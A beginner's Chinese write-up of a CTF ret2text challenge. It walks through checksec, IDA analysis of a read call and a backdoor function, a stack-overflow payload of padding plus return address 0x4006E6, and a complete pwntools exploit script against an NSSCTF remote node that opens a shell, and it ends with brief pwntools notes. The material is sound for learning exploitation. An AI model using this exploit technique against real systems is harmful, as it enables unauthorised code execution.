新手上路~低速慢行~
目录
前言
1. checksec
2. IDA 反汇编
3. payload编写
4. exp编写
5. pwntools用法
前言
作为pwn新手,尽可能在刷题中,记录、学习一些通用的知识点,因此wp是少不了的。
本题是一道简单的ret2text
1. checksec
没有开启栈保护
2. IDA 反汇编
发现危险函数read
发现后门函数backdoor
3. payload编写
通过buf距离栈基址偏移10h
且后门函数地址为0x4006E6 可以构造:
payload: 填充buf(10h)+填充ebp(64位→8字节)+修改return地址(0x4006E6)
payload=b’a’*(0x10+0x8)+p64(0x4006E6)
4. exp编写
基本的代码框架
from pwn import *
r=remote("node2.anna.nssctf.cn",28076)
r.recvuntil("name:\\n")
r.sendline("-1")
r.recvuntil("name?")
backdoor=0x4006e6
payload=b'a'*(0x10+0x8)+p64(backdoor)
r.sendline(payload)
r.interactive()
如此即可获得shell,cat flag即可获得flag
5. pwntools用法
这里
作为最好用的pwn工具,简单记一下用法:
- 连接:本地process()、远程remote( , );对于remote函数可以接url并且指定端口
- 数据处理:主要是对整数进行打包:p32、p64是打包为二进制,u32、u64是解包为二进制
- IO模块:这个比较容易跟zio搞混,记住zio是read、write,pwn是recv、send